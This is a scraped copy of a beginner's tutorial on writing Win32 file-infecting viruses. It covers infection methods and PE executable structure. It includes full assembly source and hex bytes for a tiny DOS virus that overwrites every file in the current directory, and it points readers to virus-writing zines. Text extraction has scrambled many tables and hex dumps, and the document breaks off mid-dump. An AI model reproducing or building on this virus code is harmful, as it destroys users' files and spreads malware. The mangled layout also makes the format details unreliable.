Pe Infection Tutorial

Download as txt, pdf, or txt
Download as txt, pdf, or txt
You are on page 1of 35

==========================================

=== PE INFECTION TUTORIAL FOR BEGINNER ===


==========================================
ART
ART
ART
ART
ART
ART
ART
ART
ART

#1
#2
#3
#4
#5
#6
#7
#8
#9

:
:
:
:
:
:
:
:
:

FIRST WORDS
VIEW OF THE PAST
YOUR FIRST PROGRAMM IN WIN32
PE FILE FORMAT
ACCESSING WIN32 API
HOW TO USE SOME APIS
DELTA OFFSET
RETURN TO THE HOST
TIPS n' TRICKS
CODE SECTION WRITEABLE
REDUCE YOUR CODE
COMPRESSED PE FILE

=============================================================
+
________
+
+
/\
|---\
|
|
|
/|
+
+
/ \
|
|
|
--+----+-/ |
+
+
/
\
|___/
|
|
|
/ |
+
+
/------\ | \
|
--+----+-|
+
+
/
\ |
\
|
|
|
|
+
+
+
=============================================================
FIRST WORDS
So you want to code your own WIN32 virus ! ! ! If you are not stupid, if you
are patient and if you want really to do it then you can write a WIN32 virus
in asm language..... But first you should answer to this stupid question:
WHY DO YOU WANT TO DO IT !!!!?
-

To destroy files?
To kill all the BIOS of the universe?
To fuck Micro$oft OS?
Because it's only a chanlenge for you?
To claim to the world a message of peace?

If you choose one of the three first answer, then you should phone to a
psychiatric therapist ! ! ! ! ! But if you want to claim a message of peace
then you are welcome in vx coding world...
Writing a virus is forbidden, so you should be prudent, and you had better
not to ask stupid questions. See law texts about informatics.
What you should have:
-A brain. (Logical and equipped with the option "English language")
-A computer.
-Patience.
-A linker (TASM, NASM, MASM...) and his Doc. I prefer NASM ....
(with NASM you can code for UNIX n' WIN32 platform, NASM is open
source!!!) (MASM means 'Micro$oft ASM'...no comment...)
-An asm file editor (of course you can only use NOTEPAD...)
but see QEDITOR.EXE in MASM pack

-A good hex editor (WINHEX)


What you should find:
-Tutorials for the asm language if you have no knowledge about it.
-Virus tutorials and Vx zines:
Download -40Hex zines
-29A zines
-SLAM zines
-Vx tazy zine
-Vdat
-...
-...
-Documentation about file

:
:
:
:
:

Old zines (a lot article for DOS)


Very very interesting zines.
essentially for macro virus.
A very cool zine. Thanks dear Lord Julus
Big collection of vx article. By Cicatrix

format (EXE PE, see PECOFF.DOC from micro$o

ft).
-Doc about how to use WIN32 APIs (WIN32.HLP).
You should read all you will find about vx coding, read, read and read....

=============================================================
+
________
__ +
+
/\
|---\
|
|
|
/ \ +
+
/ \
|
|
|
--+----+-/ | +
+
/
\
|___/
|
|
|
/ +
+
/------\ | \
|
--+----+-/
+
+
/
\ |
\
|
|
|
/___ +
+
+
=============================================================
A VIEW OF THE PAST
Here I will speak about the old DOS viruses:
DOS IS DEAD !!! I loved DOS because it was my first OS on an old 186 with
an 'Hercules' graphic card ;-)
Writing a simple DOS virus is very, very, very easy...I've learn vx coding wi
th
some old tutorials (40 hex...)
Common target files for viruses:
-

*.COM
*.EXE
*.SYS
*.DOC
*.ZIP *.ARJ *.ARC ,all compressed archive files.
*.OBJ *.ASM ;-)

Methods of infection:
*
*
*
*

overwriting
non-overwriting (appending)
companion
BOOT infector

OVERWRITTING VIRUS(*.COM infector):


They were very destructive because they copy themselves over the host and the
infected file will never run anymore:
Before infection

After infection

+---------------+
| F F F F F F |
| I I I I I I |
| L L L L L L |
| E E E E E E |
+---------------+

+---------------+
| V I R U S |
+---------------+
| L L L L L L |
| E E E E E E |
+---------------+

NON-OVERWRITTING VIRUS (*.COM infector only):


This virus don't destroy the infected file, so he can spread as he want.
Before infection
+---------------+
| F F F F F F |
| I I I I I I |
| L L L L L L |
| E E E E E E |
+---------------+

After infection
---->-- +---------------+ <-- +---------------+
| --<-| JMP to VIRUS | <-- | F F F F F F |
| | |
| <-- | I I I I I I |
| | +---------------+
+---------------+
| | | L L L L L L |
|
| | | E E E E E E |
|
| | +---------------+
|
| -->-| INFECT FILES |
|
|
+---------------+
|
|
| RESTORE THE |
|
|
| FIRST OVER- |--->-------/
|
| WRITED BYTES |
|
+---------------+
----<---|JMP to the host|
+---------------+

The virus copy himself to the end of the host and overwrite the first bytes
by writing an JMP op code to the virus, infect others files, restore the
first overwritten bytes, and jmp to the host (beginning of the file)...
COMPANION VIRUS:
We found some companion viruses code in WIN32 but they appeared under DOS:
-DOS
-DOS
-DOS
-DOS

When you tape c:\my_prog


search first for c:\my_prog.COM
search next for c:\my_prog.EXE if c:\my_prog.COM is not found
search next for c:\my_prog.BAT if c:\my_prog.EXE is not found
print on screen "file not found if c:\my_prog.BAT is not found

-So the companion virus search for my_prog.EXE, if present so it create a


my_prog.COM, copy himself on my_prog.COM
So after infection if you tape c:\my_prog then my_prog.COM (the virus)

is run first and the virus run my_prog.EXE ...CLEAR ?


BOOT infector:
These virus infect the Master boot of a floppy or an hard drive. They were
powerful because the virus run before the Operating System. Writing an
BOOT virus is not so easy in WIN32 because we are under the protected mode
I will now show you a very tiny overwriting virus(.COM infetor):
;-------------------------------------------------------------------; The EXEcution III Virus.
;
; Well, you're now the prouw owner of the smallest virus ever made!
; only 23 bytes long and ofcourse again very lame..
; But what the heck, it's just an educational piece of code!!
;
; (C) 1993 by [DRkRY] of TridenT (Ooooooranje Boooooooven!)
;
; Tnx to myself, my assembler, DOS (yuck) and to John Tardy for his
; nice try to make the smallest (27 bytes and 25 bytes) virus... gotcha!! ;-))
;
; BTW Don't forget, I only tested it unter DOS 5.0 so on other versions
; it might not work!
_CODE

SEGMENT
ASSUME CS:_CODE
ORG

100h

FILE

DB '*.*',0h

; That's where we're starting...


; Dummy instruction, SUB's 0FFh from CH

AH,4Eh
DX,SI
21h

; Let's search!
; Make DX = 100h (offset file)
; Search now dude!

MOV
MOV
INT
XCHG

AX,3D01h
DX,9Eh
21h
BX,AX

;
;
;
;

MOV
JMP

AH,40h
DO_IT

; Write myself!
; Use other routine

ENDS
END

START

START:
MOV
DO_IT: MOV
INT

_CODE

Hmm, infect that fucking file!


Name is at DS:[9Eh]
Go do it!
Put the handle in BX

; If you don't like my english: Get lost, you can understand it!
;------------------------------------------------------------------------This virus overwrite all file (*.*) he find in the current directory only.
He looks like:
2A 2E 2A 00 B4 4E 8B D6 CD 21 B8 01 3D BA 9E 00 CD 21 93 B4 40 EB EF
very tiny, is'nt it?
It was a challenge under DOS to code the smallest virus...strange game !

=============================================================
+
________
___ +
+
/\
|---\
|
|
|
/ \ +
+
/ \
|
|
|
--+----+-/
| +
+
/
\
|___/
|
|
|
__/ +
+
/------\ | \
|
--+----+-\ +
+
/
\ |
\
|
|
|
\
| +
+
\___/ +
=============================================================
YOUR FIRST WIN32 PROGRAMM
Asm is the most powerful language but the more difficult to learn. Use
your brain ;-)
If you have began coding asm under DOS so you can easy understand this:
;----------------------------------------------------------------;
model tiny
; model for a .COM file
;
.radix 16
;
;
.code
; code section
;
org 100h
; a .COM file is load at offset 100h
;
start:
; coded for TASM
;
;------------------------;
;
;
mov ah,09
;
;
mov dx,offset hello ; address of text to print on screen
;
int 21
;
;
;
mov ax,4c00
;
;
int 21
; END !
;
;
hello db "HELLO $",0
;
;
;----------------------------------------------------------------;
You had to put some values on specific register before to call DOS or BIOS
interrupt(int). In win32 you should put values on stack before to call
WIN32 API and the APIs will do the job for you.
I will now show you the same program in WIN32:
;----------------------------------------------------------;
; Coded for NASM
;
; nasm -fobj hello.asm
;
; alink -oPE hello \lib\kernel32.lib \lib\user32.lib
;
;
extern MessageBoxA
; APIs used
;
extern ExitProcess
; in this file
;
;
[SECTION CODE USE32 CLASS=CODE] ; code section
;
..start:
; for the linker
;
;
push byte 0
; only the buttons 'OK'
;
push dword caption
; caption of the BOX
;
push dword text
; text in the BOX
;
push byte 0
; handle of the Box
;

call MessageBoxA

; print BOX on screen

;
;
push byte 0
;
;
call ExitProcess
; EXIT
;
;
caption db "Your first WIN32 programm",0
;
text db "HELLO",0
;
;
end
; for the linker
;
;
;----------------------------------------------------------;
you can link and compile this prog...I will use it to explain you some tricks
=============================================================
+
________
+
+
/\
|---\
|
|
|
/
+
+
/ \
|
|
|
--+----+-/
+
+
/
\
|___/
|
|
|
/ |
+
+
/------\ | \
|
--+----+-- /---|-- +
+
/
\ |
\
|
|
|
|
+
+
+
=============================================================
PE FILE FORMAT

- Where DOS were still alive the two principal file formats of executable fil
es
were *.COM and *.EXE ,the image of a COM file (after been loaded in memory)
is
the same as is physical aspect (on hard drive). The image is just load
after the PPS (Post Prefix Segment). A .COM file begin at offset 100h on
memory, and his size can't be more than FFFFh bytes. It is not the case
for EXE files. A EXE file begin with an header on which are put some
values needed to load the file (DOS EXE files have only one header)
- Windows 3.x appeared with a new kind of executable: the NE .EXE files
(New Executable)
- Windows 9X appeared with a new .EXE format: the PE .EXE files (Portable
Executable) The name "Portable Executable" refers to the fact that the
format is not architecture-specific.
I will now show you the PE file format (PE32 only):
A .EXE PE file looks like this:
+--------------------------+
|
OLD DOS EXE HEADER
|
+--------------------------+
|
PE HEADER
|
+--------------------------+
|
PE OPTIONAL HEADER
|
+--------------------------+
|
OBJECT TABLE
|

+--------------------------+
|
SECTION # 1
|
+--------------------------+
|
SECTION # 2
|
+--------------------------+
|
SECTION # 3
|
+--------------------------+
.
|
.
|
.
|
.
|
+--------------------------+
|
SECTION # n
|
+--------------------------+
The most common section you will find in PE file are:
-code section
-data sections
-import section

: section of win32 code (program).


: initialized/uninitialized data.
: the APIs used in the file are enumerate here and
the loader will write here address of APIs used
in order to call them.
-export section
: for .DLL file: entry point of APIs are enumerate
here.
-resource section : contains info about the file (icon,...).
-debug section
: contains debugging info.
-relocation section : use for relocation.
**********************
* OLD DOS EXE HEADER *
**********************
I will not describe in detail this header because a lot of values are
unused nowadays. Read old vx articles if you want.
Offset Size
00h
02h
04h
06h
08h
0Ah
0Ch
0Eh
10h
12h
14h
18h
1Ah
1Ch
20h
22h
3Ch

2 BYTEs
WORD
WORD
WORD
WORD
WORD
WORD
WORD
WORD
WORD
DWORD
WORD
WORD
4 BYTEs
WORD
26 BYTEs
DWORD

Description
.EXE signature, "MZ" (4D5Ah)
number of bytes in last page
number of pages (include the last page) (a page=512 bytes)
number of relocation entries
header size in paragraphs (a paragraph=16 bytes)
minimum paragraphs of memory needed
maximum paragraphs of memory needed
initial SS
initial SP
checksum
initial CS:IP (beginning of the executable)
Set to 40h or more for new-format (NE,LE,LX,PE,...)
overlay number (normally set to 0)
Reserved
?
Reserved
offset of new executable (NE,LE,PE,...) header

Take a look at our HELLO.EXE file (edit it in hex):

Physical
offset

0 1 2 3 4 5 6 7 8 9 A B C D E F

00000000
00000010
00000020
00000030
00000040
00000050
00000060

4D
00
00
00
0E
69
72

5A
01
00
00
1F
73
65

6C
00
00
00
BA
20
73

00
00
00
00
0E
70
20

01
00
00
00
00
72
57

00
00
00
00
B4
6F
69

00
00
00
00
09
67
6E

00
00
00
00
CD
72
33

04
40
00
00
21
61
32

00
00
00
00
B8
6D
0D

11
00
00
00
00
20
0A

00
00
00
00
4C
72
24

FF
00
00
70
CD
65
00

FF
00
00
00
21
71
00

03
00
00
00
54
75
00

00
00
00
00
68
69
00

MZ..............
................
................
................
..............Th
is program requi
res WIN32.......

-At offset 0h you can see the MZ signature (4D5Ah), all EXE files begin
with this signature.
-At Offset 18h is the word 0040h so if you try to run this file under DOS the
n
a JMP to offset 40h is done and the code is:
HEX values
0E
1F
BA0E00
B409
CD21
B8004C
CD21

op codes
-

push cs
pop ds
mov dx,offset text ;
mov ah,09
;
int 21
; print text on screen
mov ax,4C00
;
int 21
; END
text db "This programm requires WIN32",0D,0A

So the .EXE file print "This programm requires WIN32" if you don't run it
in a WIN32 environment (win9x and later)
-At offset 3ch is the dword 'header relocation'. This value here is 70h
So the New Header (PE header) begin at offset 70h
*************
* PE HEADER *
*************
The PE HEADER looks like:
<---------DWORD---------> <---WORD--->
+-------------------------+------------+------------+
|
SIGNATURE
| CPU TYPE | # OBJECTS |
+-------------------------+------------+------------+
|
TIME/DATE
|
RESERVED
|
+-------------------------+-------------------------+
|
RESERVED
| OPTIONAL |
FLAGS |
|
| HDR SIZE |
|
+-------------------------+------------+------------+
SIGNATURE

:This value is "PE",0,0 or 00005045h in hex. All PE .EXE


files begin with this value.

CPU TYPE

:Type of CPU required by this image to run. The values are:


0
014Ch
014Dh
014Eh
0162h
0163h
0166h
0168h
0169h
0184h
01F0h
01a2h
01a4h
01a6h
01c0h
01f0h
0200h
0266h
0268h
0284h
0366h
0466h
0284h

unknown
386 or later, and compatible processors.
80486
Pentium TM
MIPS Mark I (R2000, R3000)
MIPS Mark II (R6000)
MIPS Mark III (R4000)
MIPS little-endian
MIPS little-endian WCE v2
Alpha_AXP
IBM PowerPC Little-Endian
Hitachi SH3 little-endian
Hitachi SH3E little-endian
SH4 little-endian
ARM Little-Endian
Power PC, little endian
Intel 64
MIPS16
Motorola 68000 series
Alpha AXP 64-bit
MIPS FPU
MIPS 16 FPU
ALPHA64

# OBJECTS

:Number of entries in the Object Table.

TIME/DATE

:Time and date the file was created or modified by the


linker.

OPTIONAL HDR SIZE :Size of the optional header


FLAGS

:Flag bits for the image.


Flag

Definition

0000h Programm image


00001h (IMAGE_FILE_RELOCS_STRIPPED) Image only, Windows CE,
NT and above. Indicates that the file does not
contain base relocations and must therefore be loaded
at its preferred base address. If the base address is
not available, the loader reports an error. Operating
systems running on top of MS-DOS (Win32s) are
generally not able to use the preferred base address
and so cannot run these images. However, beginning
with version 4.0, Windows will use an application's
preferred base address. The default behavior of the
linker is to strip base relocations from EXEs.
00002h Image is executable.
00004h COFF line numbers have been removed.
00008h COFF symbol table entries for local symbols have been
removed.
00010h Aggressively trim working set.
00020h App can handle > 2gb addresses.
00040h Use of this flag is reserved for future use.
00080h Little endian: LSB precedes MSB in memory.
00100h 32 bit word machine. (win32 environment)

00200h Debugging information removed from image file.


00400h If image is on removable media, copy and run from swap
file.
01000h The image file is a system file, not a user program.
02000h Library image (.DLL)
04000h File should be run only on a UP machine.
08000h Big endian: MSB precedes LSB in memory.
if you found the flag 0102h then it means 0100h+0002h ...
NOW we know (look at the old DOS header) that the new header begin at offset
70h
So take a look are our hello.exe file at offset 70h
Physical
offset

0 1 2 3 4 5 6 7 8 9 A B C D E F

00000070
00000080

50 45 00 00 4C 01 04 00 74 93 5D 3D 00 00 00 00
00 00 00 00 E0 00 02 01

-At offset 70h


the PE header
-At offset 74h
needed to run
-At offset 76h
object table
-At offset 84h
-At offset 86h

PE..............
................

we see the value "PE",0,0 so here is the beginning of


is the word 014Ch (reverse the bytes) so Intel 80386 PC is
this file.
is the word 0004h. So there is 4 sections described in the
is the size of the optional header (00E0h)
is the flag for the image: 0102h (0100h+0002h)

**********************
* PE OPTIONAL HEADER *
**********************
Before to show you the structure of the PE OPTIONAL HEADER I will tell you
some word about the notion of IMAGE BASE and Relative Virtual Address (RVA)
It is very simple but very important in WIN32 environment: The IMAGE BASE
is the address on which the file is load by the loader, so at this address
we will find the beginning of the file (old MZ DOS HEADER).
An RVA is in fact a distance from the image base (from the beginning of the
image of the file). For example if a file has 00400000h for IMAGE BASE and
his first section has for RVA 001000h then this section will be load at this
address: 00400000h + 00001000h (IMAGE BASE+RVA). CLEAR?
The PE OPTIONAL HEADER is place just after the PE HEADER. There are a lot of
very important for the loader and for us! I still don't know why it is called
'OPTIONAL'.
The PE OPTIONAL HEADER (PE32 only) looks like:
<---WORD--->

<---------DWORD--------->

+------------+------------+------------+------------+
| SIGNATURE? | LMAJOR | LMINOR | RESERVED |
+------------+------------+------------+------------+
|
RESERVED
|
RESERVED
|
+-------------------------+-------------------------+
|
ENTRYPOINT RVA
|
RESERVED
|

+-------------------------+-------------------------+
|
RESERVED
|
IMAGE BASE
|
+-------------------------+-------------------------+
|
OBJECT ALIGN
|
FILE ALIGN
|
+-------------------------+-------------------------+
| OS MAJOR | OS MINOR | USER MAJOR | USER MINOR |
+------------+------------+------------+------------+
| SUBSYS MAJ | SUBSYS MIN |
RESERVED
|
+------------+------------+-------------------------+
|
IMAGE SIZE
|
HEADER SIZE
|
+-------------------------+------------+------------+
|
FILE CHECKSUM
| SUBSYSTEM | DLL FLAGS |
+-------------------------+------------+------------+
|
STACK RESERVE SIZE | STACK COMMIT SIZE
|
+-------------------------+-------------------------+
| HEAP RESERVE SIZE
|
HEAP COMMIT SIZE
|
+-------------------------+-------------------------+
|
RESERVED
|
# RVA/SIZES
|
+-------------------------+-------------------------+
|
EXPORT TABLE RVA
| TOTAL EXPORT DATA SIZE |
+-------------------------+-------------------------+
| IMPORT TABLE RVA
| TOTAL IMPORT DATA SIZE |
+-------------------------+-------------------------+
| RESOURCE TABLE RVA
| TOTAL RESOURCE DATA SIZE|
+-------------------------+-------------------------+
| EXCEPTION TABLE RVA
|TOTAL EXCEPTION DATA SIZE|
+-------------------------+-------------------------+
| SECURITY TABLE RVA
|TOTAL SECURITY DATA SIZE |
+-------------------------+-------------------------+
| FIXUP TABLE RVA
| TOTAL FIXUP DATA SIZE |
+-------------------------+-------------------------+
| DEBUG TABLE RVA
|TOTAL DEBUG DIRECTORIES |
+-------------------------+-------------------------+
| IMAGE DESCRIPTION RVA |TOTAL DESCRIPTION SIZE |
+-------------------------+-------------------------+
| MACHINE SPECIFIC RVA | MACHINE SPECIFIC SIZE |
+-------------------------+-------------------------+
| THREAD LOCAL STORAGE RVA| TOTAL TLS SIZE
|
+-------------------------+-------------------------+
SIGNATURE?

: The Optional Header's Magic number determines


whether an image is a PE32 or PE32+ executable:
- 0x10b for PE32 (010bh)
- 0x20b for PE32+ (020bh)
PE32+ images allow for a 64-bit address space while
limiting the image size to 4 Gigabytes (code in
64bits) Other PE32+ modifications are addressed in
their respective sections. (In WIN9X ,NT, 2000, ME
you will find only PE32 but in XP you find
PE32+...it's not really different, download the PE
file format documentation on micro$oft web site)

LMAJOR/LMINOR

: The major/minor version number of the linker.

ENTRYPOINT RVA

: Entrypoint relative virtual address. The address is


relative to the Image Base. This address is the
starting address for the program.

IMAGE BASE

: The virtual base of the image. This will be the

virtual address of the first byte of the file


(DOS Header). This must be a multiple of 64K.
(The file is load at this address in memory)
OBJECT ALIGN

: The alignment of the objects. This must be a power


of 2 between 200h and 256M inclusive. The default is
1000h. All section of the file will be loaded at an
offset which is a power of OBJECT ALIGN dword.

FILE ALIGN

: Alignment factor used to align image pages. All


section of the file are written at an offset which
is a power of FILE ALIGN dword. Larger alignment
factors will cost more file space Smaller alignment
factors will impact demand load performance, perhaps
significantly. Of the two, wasting file space is
preferable. This value should be a power of 2
between 200h and 64K inclusive.

OS MAJOR/OS MINOR

: The OS version number required to run this image.

USER MAJOR/MINOR

: User major/minor version number. This is useful for


differentiating between revisions of images/dynamic
linked libraries. The values are specified at link
time by the user.

SUBSYS MAJ/MIN

: Subsystem major/minor version number.

IMAGE SIZE

: The virtual size (in bytes) of the image. This


includes all headers. The total image size must be a
multiple of Object Align.

HEADER SIZE

: Total header size. The combined size of the old DOS


Header, PE Header ,PE optional Header and Object
Table.

FILE CHECKSUM

: Checksum for entire file. Set to zero by the linker.

SUBSYSTEM

: subsystem required to run this image. The values


are:
0000h - Unknown
0001h - Used for device drivers and native Windows
NT processes.
0002h - Image runs in the Windows graphical user
interface (GUI) subsystem.
0003h - Image runs in the Windows character
subsystem.
0005h - OS/2 Character
0007h - POSIX Character
0008h - Image is a native Win9x driver.
0009h - Windows CE subsystem.
0010h - Image is an EFI application.
0011h - Image is an EFI driver that provides boot
services
0012h - Image is an EFI driver that provides runtime
services.

DLL FLAGS

: Indicates special loader requirements. This flag has


the following bit values:

00001h - Per-Process Library Initialization


00002h - Per-Process Library Termination
00004h - Per-Thread Library Initialization
00008h - Per-Thread Library Termination
00800h - Do not bind image
02000h - Driver is a WDM Driver
08000h - mage is Terminal Server aware
All other bits are reserved for future
use and should be set to zero.
STACK RESERVE SIZE

: Stack size needed for image. The memory is reserved,


but only the Stack Commit Size is committed. The
next page of the stack is a 'guarded page.' When the
application hits the guarded page, the guarded page
becomes valid, and the next page becomes the guarded
page. This continues until the Reserve Size is
reached.

STACK COMMIT SIZE


HEAP RESERVE SIZE
HEAP COMMIT SIZE
# RVA/SIZES

:
:
:
:

EXPORT TABLE RVA


TOTAL EXPORT DATA SIZE
IMPORT TABLE RVA

Stack commit size.


Size of local heap to reserve.
Amount to commit in local heap.
Indicates the size of the RVA/Size array that
follows.
: RVA of the Export Table.
: Total size of the export data.
: RVA of the Import Table. This address is relative to

TOTAL IMPORT DATA SIZE


RESOURCE TABLE RVA
TOTAL RESOURCE DATA SIZE
EXCEPTION TABLE RVA
TOTAL EXCEPTION DATA SIZE
SECURITY TABLE RVA
TOTAL SECURITY DATA SIZE
FIXUP TABLE RVA
TOTAL FIXUP DATA SIZE
DEBUG TABLE RVA
TOTAL DEBUG DIRECTORIES
IMAGE DESCRIPTION RVA

:
:
:
:
:
:
:
:
:
:
:
:

TOTAL DESCRIPTION SIZE


MACHINE SPECIFIC RVA
MACHINE SPECIFIC SIZE
THREAD LOCAL STORAGE RVA
TOTAL TLS SIZE

:
:
:
:
:

the Image Base.


Total size of the import data.
RVA of the Resource Table.
Total size of the resource data.
RVA of the Exception Table.
Total size of the exception data.
RVA of the Security Table.
Total size of the security data.
RVA of the Fixup Table.
Total size of the fixup data.
RVA of the Debug Table.
Total number of debug directories.
RVA of the description string specified in the
module definition file.
Total size of the description data.
RVA of a machine-specific value.
A machine-specific value.
RVA of local storage RVA
Total size of local storage

Let's take a look at our hello.EXE file and especially at the OPTIONAL
HEADER:
Physical
offset

0 1 2 3 4 5 6 7 8 9 A B C D E F

00000080
00000090
000000A0
000000B0
000000C0

00
00
01
00

00
00
00
50

00
00
00
00

00
00
00
00

00
00
00
00

00
00
00
04

00
40
00
00

00
00
00
00

0B
00
00
04
00

01
10
10
00
00

00
00
00
00
00

00
00
00
00
00

00
00
00
00
02

00
00
02
00
00

00
00
00
00
00

00
00
00
00
00

........
................
................
................
................

000000D0
000000E0
000000F0
00000100
00000110
00000120
00000130
00000140
00000150
00000160

00
00
00
00
00
00
00
00
00
00

00
00
30
00
40
00
00
00
00
00

10
00
00
00
00
00
00
00
00
00

00
00
00
00
00
00
00
00
00
00

00
10
94
00
18
00
00
00
00
00

10
00
00
00
00
00
00
00
00
00

00
00
00
00
00
00
00
00
00
00

00
00
00
00
00
00
00
00
00
00

00
00
00
00
00
00
00
00
00

00
00
00
00
00
00
00
00
00

10
00
00
00
00
00
00
00
00

00
00
00
00
00
00
00
00
00

00
00
00
00
00
00
00
00
00

10
00
00
00
00
00
00
00
00

00
00
00
00
00
00
00
00
00

00
00
00
00
00
00
00
00
00

................
................
................
................
................
................
................
................
................
........

-At offset 000000A4h is the IMAGE BASE: this value is 00400000h


So the file will be loaded in memory at 00400000h
-At offset 000000A8h is the OBJECT ALIGN value: 00001000h. All section will
be loaded at an offset which is a power of this value.
-At offset 000000ACh is the File ALIGN value: 00000200h. All section are
written (on disk) at an offset which is a power of this value.
-At offset 000000F0h is the IMPORT TABLE RVA value: 00003000h. So the IMPORT
TABLE begin at offset 00403000h on memory (IMAGE BASE+RVA) We will take a
look at IMPORT TABLE later...
****************
* OBJECT TABLE *
****************
The number of entries in the Object Table is set by the # Objects field in
the PE Header. Entries in the Object Table are numbered starting from one.
The Object Table immediately follows the PE OPIONAL HEADER. The order and the
name of the object are chosen by the linker. The RVA for objects must be
assigned by the linker such that they are in ascending order and adjacent,
and must be a multiple of Object Align set in the PE header. Each Object
Table entry has the following format:
+---------------------------------------------------+
|
OBJECT NAME
|
+-------------------------+-------------------------+
|
VIRTUAL SIZE
|
RVA
|
+-------------------------+-------------------------+
|
PHYSICAL SIZE
|
PHYSICAL OFFSET
|
+-------------------------+-------------------------+
|
RESERVED
|
RESERVED
|
+-------------------------+-------------------------+
|
RESERVED
|
OBJECT FLAGS
|
+-------------------------+-------------------------+

OBJECT NAME

: Object name. This is an eight-byte, null-padded ASCII string


representing the object name.

VIRTUAL SIZE

: Virtual memory size. The size of the object that will be


allocated when the object is loaded. Any difference between
Physical Size and Virtual Size is zero filled.
It is the size of the section after being load on memory.

RVA

: Relative Virtual Address. This is the virtual address that the


object is currently relocated to relative to the Image Base.
Each Object's virtual address space consumes a multiple of

Object Align (power of 2 between 512 and 256M inclusive. The


default is 64K.), and immediately follows the previous Object
in the virtual address space (the virtual address space for an
image must be dense).
PHYSICAL SIZE

: Physical file size of the section. The size of the


section in the file for the object. The physical size
must be a multiple of the File Align field in the PE Header,
and must be less than or equal to the Virtual Size.

PHYSICAL OFFSET : Physical offset for the object's first page. This offset is
relative to the beginning of the EXE file, and is aligned on a
multiple of the File Align field in the PE Header. The offset
is used as a seek value.
OBJECT FLAGS

: Flag bits for the object. The object flag bits have the
following definitions:
Flag

Definition

000000008h Section should not be padded to next boundary. This


is obsolete and replaced by IMAGE_SCN_ALIGN_1BYTES.
This is valid for object files only.
000000020h Code object
000000040h Initialized data object
000000080h Uninitialized data object
000000200h Section contains comments or other information. The
.drectve section has this type. This is valid for
object files only.
000000800h Section will not become part of the image. This is
valid for object files only.
000001000h Section contains COMDAT data.
000100000h Align data on a 1-byte boundary. valid for object
files only.
000200000h Align data on a 2-byte boundary.
000300000h Align data on a 4-byte boundary.
000400000h Align data on a 8-byte boundary.
000500000h Align data on a 16-byte boundary.
000600000h Align data on a 32-byte boundary.
000700000h Align data on a 64-byte boundary.
000800000h Align data on a 128-byte boundary.
000900000h Align data on a 256-byte boundary.
000A00000h Align data on a 512-byte boundary.
000B00000h Align data on a 1024-byte boundary.
000C00000h Align data on a 2048-byte boundary.
000D00000h Align data on a 4096-byte boundary.
000E00000h Align data on a 8192-byte boundary.
001000000h Section contains extended relocations.
002000000h Section can be discarded as needed.
040000000h Object must not be cached
080000000h Object is not pageable
100000000h Object is shared
200000000h Executable object
400000000h Readable object
800000000h Writeable object
All other bits are reserved for future use
and should be set to zero.
Take a look one more time at our HELLO.EXE file

Physical
offset

0 1 2 3 4 5 6 7 8 9 A B C D E F

00000160
00000170
00000180
00000190
000001A0
000001B0
000001C0
000001D0
000001E0
000001F0
00000200

00
00
49
0C
00
00
00
72
18
00

10
00
4D
00
00
10
00
65
00
00

00
00
50
00
00
00
00
6C
00
00

00
00
4F
00
00
00
00
6F
00
00

00
00
52
00
60
00
00
63
00
40

10
00
54
06
00
30
00
73
0A
00

00
00
53
00
00
00
00
00
00
00

00
00
00
00
60
00
00
00
00
52

43
3A
00
00
00
69
94
00
00
00

4F
00
00
10
00
6D
00
00
10
00

44
00
00
00
00
70
00
00
00
00

45
00
00
00
00
6F
00
00
00
00

00
00
60
00
00
72
00
40
00
00

00
04
00
20
00
74
08
00
40
00

00
00
00
00
00
73
00
00
00
00

00
00
60
00
00
00
00
50
00
00

CODE....
................
................
IMPORTS.........
................
........imports.
................
................
relocs..........
................
........

-At offset 00000168h is the name of the first OBJECT TALBE: "CODE",0,0,0,0
With such a name we can easy deduce that it is the code section.
-At offset 00000174h is the RVA of this section: 00001000h. So the code
section will be loaded at offset 00401000h on memory (IMAGE BASE + RVA)
-At offset 0000017Ch is the PHYSICAL OFFSET: 00000400h. So this section is
writen on file at 00000400h (relative to the the beginning of the file)
-At offset 0000018Ch are the FLAGS: 60000060h
60000060h = 000000020h + 000000040h + 200000000h + 400000000h
|
|
|
|
Code object <----+
|
|
|
Initialized data object <-----+
|
|
Executable object <-----------------------+
|
Readable object <-------------------------------------+

******************
* IMPORT SECTION *
******************
The most difficult thing to understood in coding a win32 virus is the IMPORT
section: All APIs (like MessageBoxA, ExitProcess,...) are in some .DLL files
For example MessageBoxA is in user32.dll and ExitProcess is in kernel32.dll.
Before to run hello.exe, the import section contain all the APIs name and the
name of the .DLL used in hello.exe .When you run hello.exe file, the loader
write at the right place (in import section) the address of the APIs (entry
point in the .DLL files). Why a such thing??? because the .DLL file can be
loaded at different address ( at the image base; note that image base value
is only a suggested address). So the problem for us is that kernel32.dll is
not always at the same place (see different version of windows: 95, 98, 2000,
NT, ...) And the entry point of APIs are not at the same place...CLEAR ???
There is two ways to IMPORT APIs address in an PE .EXE file: by hint and by
ordinal. But there is only one way to EXPORT APIs address in a .DLL file: by
ordinal
I will try now to explain the
The IMPORT section (by hint)
DATA DIRECTORY is relative to
,list of pointer, API address

concept of the IMPORT section (by hint):


begin with the IMPORT DATA DIRECTORYs. A IMPORT
only one .DLL After it is put data: .DLL name
lists APIs name lists

The IMPORT DATA DIRECTORY looks like:


+-------------------------+-------------------------+
|
RVA to a list of
|
DATE/TIME
|
| pointer to APIs names |
| IMPORT DATA DIRECTORY
+-------------------------+-------------------------+
#1
| .DLL address (unused) |
RVA to .DLL name
|
+-------------------------+-------------------------+
|RVA to API address list |
+-------------------------+
|

IMPORT DATA DIRECTORY


#n

+-------------------------+-------------------------+
|
NULL
|
NULL
|
|
|
|
+-------------------------+-------------------------+
|
NULL
|
NULL
|
+-------------------------+-------------------------+
|
NULL
|
+-------------------------+

- RVA to a list of
pointer to APIs names
point to

NULL IMPORT DATA


DIRECTORY to say
it's the end

: This RVA point to a list of others pointers which


API NAMEs imported from the .DLL

- DATE/TIME

- .DLL address (unused)

: In win9X this field contains the address where is


load the .DLL file but not under win NT,2000,XP).
Please don't use this value

- RVA to .DLL name

: This RVA point to the name of the .DLL file


(library)

- RVA to API address list : This RVA point to the list of API address (the
loader write them...)
Ok let's see the IMPORT section of our hello.exe file:
View of IMPORT section BEFORE loading hello.exe
Physical
offset

0 1 2 3 4 5 6 7 8 9 A B C D E F

00000800
00000810
00000820
00000830
00000840
00000850
00000860
00000870

58
60
48
00
33
2E
78
86

30
30
30
00
32
64
30
30

00
00
00
00
2E
6C
00
00

00
00
00
00
64
6C
00
00

00
68
70
00
6C
00
00
00

00
30
30
00
6C
00
00
00

00
00
00
00
00
53
00
00

00
00
00
00
00
04
00
00

00
00
00
00
6B
